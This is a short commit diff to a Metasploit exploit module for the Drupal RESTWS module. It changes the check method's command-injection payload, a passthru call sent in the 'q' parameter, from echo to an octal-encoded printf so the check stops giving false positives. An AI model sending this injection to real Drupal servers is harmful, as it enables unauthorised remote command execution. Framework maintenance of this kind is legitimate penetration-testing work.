Fix drupal_restws_exec check method false positive

2016-07-20 23:28:49 -05:00 · 2016-07-20 23:28:49 -05:00 · c6b309d5c9
parent 8bd6db8bd7
commit c6b309d5c9
1 changed files with 1 additions and 1 deletions
--- a/modules/exploits/unix/webapp/drupal_restws_exec.rb
+++ b/modules/exploits/unix/webapp/drupal_restws_exec.rb
@ -59,7 +59,7 @@ class MetasploitModule < Msf::Exploit::Remote
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'index.php'),
      'vars_get' => {
-        'q' => "taxonomy_vocabulary//passthru/echo #{r}"
+        'q' => "taxonomy_vocabulary//passthru/printf #{Rex::Text.to_octal(r, '\\\\')}"
      }
    )
    if res && res.body.include?(r)